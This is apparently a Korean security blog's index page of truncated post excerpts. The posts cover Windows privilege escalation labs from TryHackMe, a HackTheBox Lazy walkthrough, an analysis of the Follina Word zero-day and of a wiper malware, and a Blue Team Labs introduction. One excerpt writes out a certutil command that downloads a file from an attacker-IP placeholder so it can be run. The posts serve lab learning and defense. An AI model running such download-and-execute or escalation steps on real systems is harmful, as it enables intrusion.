0xMH

윈도우에는 StartUp이라는 폴더가 존재하는데 말 그대로 유저가 로그인할 때 실행되는 프로그램들입니다. 일반 유저에게 StartUp 폴더에 파일을 넣을 권한도 있고, 해커에게 더 높은 권한이 가지고 있는 유저의 이름하고 비밀번호를 가지고 있으면, 권한상승이 가능해집니다. 오늘도 역시 우리에게 무슨 권한을 있는지를 확인하기 위하여 icacls를 쓰고 Startup 폴더의 위치는 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 입니다. icacls의 output을 보니까 "F" (Full) 권한이 있습니다. 권한상승을 하기 위하여 윈도우 권한상승 #1에서 썼던 "reverse.exe"를 사용해 보겠습니다. reverse.exe를 Startup 폴..

Windows 해킹/지속성 확보 2022. 6. 15. 13:36

저는 이 블로그에서 자주 hackthebox나 tryhackme 같은 해킹 실습 모의침투를 올리는데 오늘은 BlueTeam 실습 홈페이지를 소개해 드리고 싶습니다. https://blueteamlabs.online/ Blue Team Labs Online A gamified platform for cyber defenders to test and showcase their skills blueteamlabs.online Blueteamlabs도 hackthebox와 tryhackme하고 매우 비슷합니다. 침해사고대응, 디지털 포렌식, 악성코드 분석, 리버스 엔지니어링 등 다양한 문제들과 랩들을 풀 수 있습니다. 랩들은 investigation이라고 불리며 현재 88개가 있고 난이도도 다양합니다. 챌린지도..

Blue Team 2022. 6. 7. 16:57

윈도우 환경은 일반 유저가 시스템 권한으로 Microsoft Windows Installer 패키지(MSI)를 설치할 수 있는 그룹 정책 설정을 제공합니다. 이 문제는 일반 유저가 시스템 권한이 필요한 응용 프로그램을 설치하려고 하고 관리자가 사용자에게 임시 로컬 관리자 액세스 권한을 부여하지 않으려는 환경에서 발견될 수 있습니다. 해커가 AlwaysInstallElevated 그룹 정책을 발견했을 때 그것을 권한을 상승시키기 위해 악용할 수 있습니다. AlwaysInsatllElevated가 매우 위험하기 때문에 윈도우도 그 사용을 권장하지 않으며 일반 유저에게 admin 권한을 주는 것과 다를 것이 없다고 합니다. 재밌는 파트로 넘어가자면요... :) winpeas.exe를 돌려보면 다음과 같은 ou..

Windows 해킹/권한상승 2022. 6. 7. 12:24

실행 파일 경로에 공백이 포함되어 있고 따옴표로 묶이지 않는 서비스가 생성되면 사용자가 시스템 권한을 얻을 수 있는 Unquoted Service Path라는 취약성이 발생합니다. (당연히 우리가 hijack 하고자 하는 서비스는 system 권한이 있어야 권한 상승이 가능하죠) #1번 블로그에서는 winpeas를 사용했지만, 이번에는 PowerUp이라는 powershell 스크립트를 사용해 보겠습니다.똑같이 certutil.exe로 공격자의 서버에 있는 파일을 다운로드하고 실행시키면 됩니다.스크린 캡처 맨 밑에 "unquotedsvc" 서비스가 보입니다. 1) 다운로드 certutil.exe -urlcache -f -split http://공격자아이피/파일이름 2) powershell 실행 # ep는 ..

Windows 해킹/권한상승 2022. 6. 4. 12:53

새로운 "윈도우 환경 권한상승" 과목의 첫 글입니다. 윈도우 권한상승 과목의 블로그들은 tryhackme의 "Windows PrivEsc"이라는 강의를 바탕으로 쓰는 것입니다. https://tryhackme.com/room/windows10privesc TryHackMe | Windows PrivEsc Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321 tryhackme.com Insecure Service Permissions란 ..

Windows 해킹/권한상승 2022. 6. 3. 15:17

오늘도 정보보안 새로운 뉴스가 뭐가 있나~ 보려고 트위터를 열었는데 새로운 워드 0-day RCE 취약점이 있다고 하더라고요. 무엇인지 한번 알아보도록 해보았습니다. 미리 결과에 대하 말씀 드리자면, 유저는 악성 워드 파일을 열기만 하면 코드가 실행되고, Defender를 우회할 수 있습니다. 5월 27일에 nao_sec이라는 (https://twitter.com/nao_sec/status/1530196847679401984) 분께서 VirusTotal에 업로드된 파일을 공유하셨는데, 그 파일은 "ms-msdt" 활용하여 Powershell 코드를 실행시킵니다. Malware Bazaar 다운로드 링크: https://bazaar.abuse.ch/sample/4a24048f81afbe9fb62e7a6a4..

악성코드 Malware 2022. 5. 30. 20:33

안녕하세요 오늘은 HackTheBox의 Lazy라는 머신을 풀어보겠습니다. Lazy는 리눅스 환경이고, user 셸을 얻기 위하여 웹사이트의 auth이라는 쿠키의 취약점을 악용하고 권한상승은 path hijacking attack를 활용하겠습니다. nmap의 결과를 보니, 웹페이지가 존재하고, 유저 등록하고 로그인 기능 외에는 별 기능이 없어 유저 등록을 해 보았습니다. auth이라는 쿠키가 있기에 burp의 repeater로 보내고 혹시나 바꾸면 무슨 일이 일어나지? 라는 생각을 해서 한번 바꾸어 보았습니다. 왼쪽 사진을 보면, 쿠키에 글자를 추가하고 request를 보내면 "Invalid padding"이라는 메시지가 뜹니다. 해킹은 가장 중요한 실력은 구글검색실력이므로 검색해 보았더니... 결과가 ..

HackTheBox 2022. 5. 30. 15:46

여러분 다 들어보셨겠지만 과대망상에 빠진 깡패 푸틴이 국제법을 어기고 결국에 우크라이나를 침공했고 또 한 번 소련을 부활하고 싶다는 자기의 악마 같은 모습을 드러냈습니다. 아직까지도 가만히 있는 미국과 유럽을 보니 더 화가 납니다. 바이든 대통령이 내린 제재와 유럽연합의 대응이 한심하기 짝이 없습니다. 정치외교학을 전공하는 사람으로서 하고 싶은 말을 많으나 이 블로그는 새로 파견된 악성코드만 보겠습니다. 러시아와 우크라이나 역사에 관심 있으신 분은 제 블로고를 한번 읽어보시길 바랍니다 (https://blog.naver.com/maxhin/222623957048) 이 악성코드도 WhisperGate처럼 wiper이므로 컴퓨터를 파괴하는 것이 목표입니다. (https://blog.naver.com/maxh..

악성코드 Malware/Wiper 2022. 5. 27. 09:16